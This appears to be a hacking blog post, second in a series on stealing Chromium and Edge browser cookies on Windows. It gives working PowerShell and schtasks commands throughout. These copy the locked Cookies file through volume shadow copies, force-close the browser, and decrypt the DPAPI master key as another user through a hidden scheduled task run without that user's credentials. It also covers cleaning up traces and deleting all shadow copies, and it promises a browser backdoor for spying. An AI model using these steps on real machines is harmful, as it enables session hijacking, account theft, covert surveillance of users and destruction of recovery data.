Behind the Chromium Vault: A Guide to Stealing Cookies II

This post is a continuation on the chrome cookie theft series. Previously I walked through how we can exfiltrate and decrypt the cookies from a users chromium browser. But what if the user is currently using their browser? If this is the case then we can’t just copy and paste their cookies file and decrypt it. This post will build upon the last process and devise a way to get the cookies file while in use. What’s the use case for this you ask? Why couldn’t we just wait for the user to close their browser? Good questions and I have two points to answer this. Session cookies and Edge.

Session Cookies:

What if we need to grab a currently in use session Cookie? If we wait for the user to close their browser, they might follow good protocol and actually log out of their session and invalidate this cookie. Generally the rule here is: If a cookie is created without setting an expiration time, then that cookie is a “session” cookie. It will not be stored in any file. It will only be stored in the web browser’s process memory and will be dropped when that process ends. From the few test cases I have done, it seems that it will actually store it in the cookies file but as soon as you close the browser, these cookies vanish from that file. (Take this as a hypothesis – I haven’t spent sufficient time confirming this but have seen some interesting behavior – my thought process is that there’s some form of crash handler or something that needs the data stored so that if your browser crashes you can hit restore previous session and the cookies are still valid. If there were only stored in the memory of that process, and it crashes for some reason those cookies would vanish as well, this isn’t the case from what I’ve seen.)

Edge Browsers:

For those of you that don’t know, Edge is also built upon Chromium – everything we have done previously carries over to Edge, it is just different folders where the User Data folder is located. Edge is a little different to chrome with windows processes, if you have run it at all in the current logged in session, there will be a few sub processes of Edge that never close. This means that it isn’t possible to copy the cookies file out even if the user has closed the Edge browser.

Prerequisite: Ensure you have authorised access to the endpoint in question and that this is done for ethical purposes only. I am not responsible for anyone using this without legal approval.

Context: This post will be entirely focused on the Edge browser in the case but everything carries over to Chrome, all you have to change is the location of the Cookies file.

Edge cookies file location:

C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Chrome cookies file location:

C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Before we start:

Before we begin the process of stealing Cookies – it’s important we understand if the currently logged on user is in fact using their browser or not. This is straight forward for chrome but as I mentioned earlier, Edge is a little different. Using Powershell, we can query the running processes and find this out:

ps | findstr msedge

From the above image, we’re looking at two states of edge, the first command is with the Edge browser running and the second is with Edge not running. There’s no need to go further info into what these continuing processes are, it doesn’t make any difference for our attack process.
Note: This behavior isn’t consistent either – sometimes it will close all processes. Who knows why…

Scenario 1: Force Close Browser

This is the simplest and most straight forward option – if you’re only interested in cookies that will be of the persistent type, this option works perfectly, albeit if the user is currently using their browser, it will close it. The following Powershell script will force close all the msedge processes:

We can see there are no more msedge processes running in this case. We can also just close the open browser as well and not force close the entire Edge process, I was hoping this would solve an issue I was having with another way of dumping cookies, but unfortunately it wasn’t successful. If you want that Powershell command, here it is:

Get-Process -Name msedge | ForEach-Object { $_.CloseMainWindow() }

Once we’ve forced closed the browser processes, the following process is simple, all youu have to do is start from step one from my previous post here.

Scenario 2: Chromium Browser In Use

After preforming a quick process check, we can see that the browser is actually in use – therefore the cookies file is open and in use by the browser process and we can’t copy it. In this scenario, we don’t want to force close the browser, that would potentially alert the user or they’d potentially lose what they are working on. So we can’t close the browser and we can’t copy the cookies file so what do we do? We can utilise our good friend, volume shadow copies.

Volume Shadow Copies:

$service=Get-Service VSS; $notrunning=$service.Status -ne "Running"; if($notrunning) { Start-Service VSS }; $id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID; $volume=(gwmi win32_shadowcopy -filter "ID='$id'"); cmd /c copy "$($volume.DeviceObject)\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "C:\temp"; $volume.Delete(); if($notrunning) { Stop-Service VSS }

In this command, we are utilising the Volume Shadow Copy Service (VSS) to access the locked cookies file. By creating a shadow copy of the volume containing the file, we can access and copy the file from the shadow copy to a temporary location, while ensuring the VSS is returned to its original state afterwards. This technique allows us to bypass the file lock and access the needed data without disrupting the running Edge process.

Once the command is run, all you have to do is grab the cookies file from the C:\temp directory and you’re good to go with the next steps.
Note: You’ll need to run this command as an admin, if you don’t have admin rights you cannot use the vssadmin command for this process. Also the $env:USERNAME is just a placeholder, I suggest changing it otherwise it’ll run under the context of your current user.

Scenario 3: Admin Access With The Wrong User

For this scenario lets run the process from start to finish. For this scenario we are theorising that you have managed to get an admin account that can access the machine but you don’t actually have the credentials for the user that you want to exfiltrate the cookies from. This is an issue as you won’t be able to query the DPAPI to get the decrypted master key to decrypt these files. In this case, there’s a simple solution:

• Step 1: Copy the Local State file to another directory (we will use C:\temp)

cp "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data\Local State" C:\temp\localstate

• Step 2: Add the following code within a .ps1 file inside the c:\temp directory (If someone wants to update this, please let me know, /tr can’t be more than 261 characters – the shortest I could get it to was 276)

cd "C:\temp"; Add-Type -A "System.Security";$c=gc (Join-Path (Get-Location) "localstate") -Raw;if($c -match '"encrypted_key":\s*"([^"]+)"'){$b=[System.Convert]::FromBase64String($matches[1]);$d=$b[5..($b.Length-1)];[System.IO.File]::WriteAllBytes((Join-Path (Get-Location) "test.txt"),[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser));"Master key written to $(Join-Path (Get-Location) "test.txt")"}else{Write-Error "Could not find "encrypted_key"."}

For the above if you don’t have a good way to put a .ps1 script onto the machine you can just echo it to a file:

Set-Content -Path "C:\temp\decrypt.ps1" -Value 'cd "C:\temp"; Add-Type -A "System.Security";$c=gc (Join-Path (Get-Location) "localstate") -Raw;if($c -match ''"encrypted_key":\s*"([^"]+)"''){$b=[System.Convert]::FromBase64String($matches[1]);$d=$b[5..($b.Length-1)];[System.IO.File]::WriteAllBytes((Join-Path (Get-Location) "test.txt"),[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser));"Master key written to $(Join-Path (Get-Location) "key.txt")"}else{Write-Error "Could not find ''encrypted_key''."}' -Encoding UTF8

• Step 3: Create the scheduled task

schtasks /create /sc once /st 12:00 /tn "DecryptTask" /tr "powershell.exe -w Hidden -ExecutionPolicy Bypass -Command C:\temp\decrypt.ps1" /ru "<User>"

• Step 4: Force run the process

schtasks /run /tn "DecryptTask"

• Step 5: Delete the scheduled task and the script

schtasks /delete /tn "DecryptTask" /F
rm C:\temp\decrypt.ps1

Now you’ve successfully run the command under the context of the other user without ever knowing their credentials and you can exfiltrate the key for use later

• Step 6: Copy the Cookies file (if in use) using vssadmin

$service=Get-Service VSS; $notrunning=$service.Status -ne "Running"; if($notrunning) { Start-Service VSS }; $id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID; $volume=(gwmi win32_shadowcopy -filter "ID='$id'"); cmd /c copy "$($volume.DeviceObject)\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "C:\temp"; $volume.Delete(); if($notrunning) { Stop-Service VSS }

Note: If you find that you are getting an older version of the cookies file – you can use try this Powershell command instead:

# Ensure VSS is running
$service = Get-Service VSS
$wasNotRunning = $service.Status -ne "Running"
if ($wasNotRunning) { Start-Service VSS }

# Create a new shadow copy for C:\
$id = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\","ClientAccessible").ShadowID

# Ensure that the newly created shadow copy is referenced
$volume = Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $id }

# Copy the Cookies file from the new shadow copy
cmd /c copy "$($volume.DeviceObject)\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "C:\temp"

# Delete only the shadow copy that was just created
$volume.Delete()

# Stop the VSS service if it was started by this script
if ($wasNotRunning) { Stop-Service VSS }

• The first script uses (gwmi win32_shadowcopy -filter "ID='$id'") which directly queries WMI with the filter, the filtering is done at the source.
• The second script uses Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $id } which is the PowerShell pipeline way to filter out the shadow copy with the matching ID.

If you find that you are struggling to get a copy of the recent cookies file you can add the following (but I don’t suggest doing this – you were warned):

# Delete old shadow copies if needed
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }

If you are having troubles with getting the recent cookies, there’s another method of backdooring the Chromium browser with the remote debugging option and getting all the cookies in real time while being able to keep tabs on their browsing habits. Stay tuned!